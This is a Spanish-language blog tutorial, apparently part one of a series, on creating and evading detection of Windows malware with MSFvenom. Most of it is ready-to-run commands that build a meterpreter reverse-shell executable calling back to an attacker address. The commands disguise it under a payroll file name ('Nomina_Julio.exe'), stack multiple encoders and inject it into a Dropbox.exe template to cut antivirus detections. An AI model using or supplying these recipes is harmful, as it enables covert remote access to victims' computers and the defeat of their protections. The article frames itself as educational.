Creación y evasión de malware con MSFvenom I -

Contenido del Artículo

Creación y evasión de malware con MSFvenom

Disclamer: Todas las pruebas, ejemplos, códigos y/o explicaciones que aquí se exponen tienen un ámbito didáctico. Se rechaza cualquier actividad ilícita generada por lo expuesto en este escrito.

La herramienta MSFvenom pertenece al mundo de Metasploit y se trata de la unión de dos clásicas herramientas como son msfpayload y msfencode. Estas herramientas están enfocadas a la creación de malware (o mejor dicho, a la creación de payloads y evasión de detección).

En esta entrada trataremos la creación de un payload que abrirá la comunicación entre nuestra máquina atacante (Kali Linux) y un equipo víctima (Windows 10).

Creando un payload

Para la creación de este primer payload utilizaremos la siguiente expresión de msfvenom:

# msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform Windows lhost=192.168.200.203 lport=9876 -f exe > Nomina_Julio.exe

Las opciones son bastante intuitivas, pero por describir alguna de ellas, se está utilizando un conjunto de operaciones basado en sistemas “x86”, la plataforma objetivo es un sistema Windows y el formato de salida en un ejecutable “.exe” con nombre “Nomina_Julio.exe”. La dirección y puerto de la máquina atacante también se describe, y ahí es donde tendremos que poner nuestro equipo Kali a escuchar.

¡Ya tenemos nuestro primer payload!

Como se mencionaba, es necesario poner a la escucha un listener en el equipo atacante para recibir la reverse shell. Esto se podrá hacer fácilmente mediante Metasploit:

De esta forma, cuando se ejecuta el ejecutable creado anteriormente en el equipo víctima, Metasploit recibirá la shell obteniendo acceso completo:

Técnicas de evasión

Con estos pocos pasos hemos creado nuestro primer payload funcional. Tan solo crearlo con msfvenom y poner a la escucha un puerto para recibir la reverse shell con metasploit. Fácil no?

Todo esto está muy chulo si fuera real… Lamentablemente para poder ejecutar el payload creado en el sistema Windows hay que deshabilitar cualquier tipo de protección. En un entorno real, este payload no duraría ni 5 segundos en un sistema.

Quizá en evitar este tipo de sistemas de detección y respuesta es donde reside el mayor objetivo de los payloads. Es aquí donde se suma una pieza importante, los encoders.

Al encodear un payload, se está tratando de alterar el código para que los sistemas de detección no lo detecten, pero el payload siga haciendo su misma función. En msfvenom se pueden encontrar varios encoders, para este ejemplo, se utilizará “shikata_ga_nai”:

# msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform Windows lhost=192.168.200.203 lport=9876 -e x86/shikata_ga_nai -f exe > Nomina_Julio.exe

Como se observa, se incluye la opción “-e x86/shikata_ga_nai” y una iteración de 10. Esto es, pasa el encoders 10 veces para tratar de hacerlo menos detectable.

Ahora, si lo volvemos a analizar con virus total vemos una mejora en el resultado. Aunque no muy buena… 🙁

Parece que la utilización de encoders por si sola no resulta muy satisfactoria contra la industria de los sistemas de detección, pero no está todo perdido!

Otra técnica que podemos utilizar es la utilización de plantillas. Esto es, inyectar el payload dentro de un ejecutable reconocido. Por ejemplo, utilizaremos el ejecutable de Dropbox (Dropbox.exe).

Para llevar esto a cabo, cogemos el ejecutable de Dropbox de cualquier sistema y lo incluimos en la creación mediante MSFvenom de la siguiente forma:

# msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform Windows lhost=192.168.200.203 lport=9876 -e x86/shikata_ga_nai -i 10 -k -x Dropbox.exe -f exe > Nomina_Julio.exe

¿Qué tenemos ahora? Un ejecutable llamado “Nomina_Julio.exe”, con la plantilla de un ejecutable de Dropbox (o al menos esto es lo que verán algunos sistemas de detección) que genera la misma reverse shell que el payload del principio.

Todo esto está muy bien pero, ¿qué pasa con la detección?

Como se puede observar, VirusTotal detecta el payload mediante 39 sistemas respecto a los 54 del comienzo, por lo que esta técnica parece que funciona de mejor forma.

En este sentido, podríamos entrar en modo “paranoico” y mezclar encoders junto con la plantilla de Dropbox:

# msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform Windows lhost=192.168.200.203 lport=9876 -e x86/shikata_ga_nai -i 10 -k -x Dropbox.exe | msfvenom -a x86 –platform Windows -e x86/countdown -i 10 -k -x Dropbox.exe | msfvenom -a x86 –platform Windows -e x86/bloxor -i 10 -k -x Dropbox.exe | msfvenom -a x86 –platform Windows -e x86/call4_dword_xor -i 10 -k -x Dropbox.exe | msfvenom -a x86 –platform Windows -e x86/jmp_call_additive -i 10 -k -x Dropbox.exe -f exe -o Nomina_Julio.exe

Así, se ha reducido hasta 36 el número de sistemas que detectan el payload malicioso desde los 54 con los que empezamos.

Siguen siendo muchos todavía, y en próximas entradas seguiremos viendo como reducirlo! 😉

Creación y evasión de malware con MSFvenom II

Tags:

Artículo Anterior

Auditoría WiFi

Siguiente Artículo

Creación y evasión de malware con MSFvenom II

También podría gustarte

Creación y evasión de malware con MSFvenom II

Daniel Consentini julio 22, 2023

Creación y evasión de malware con MSFvenom I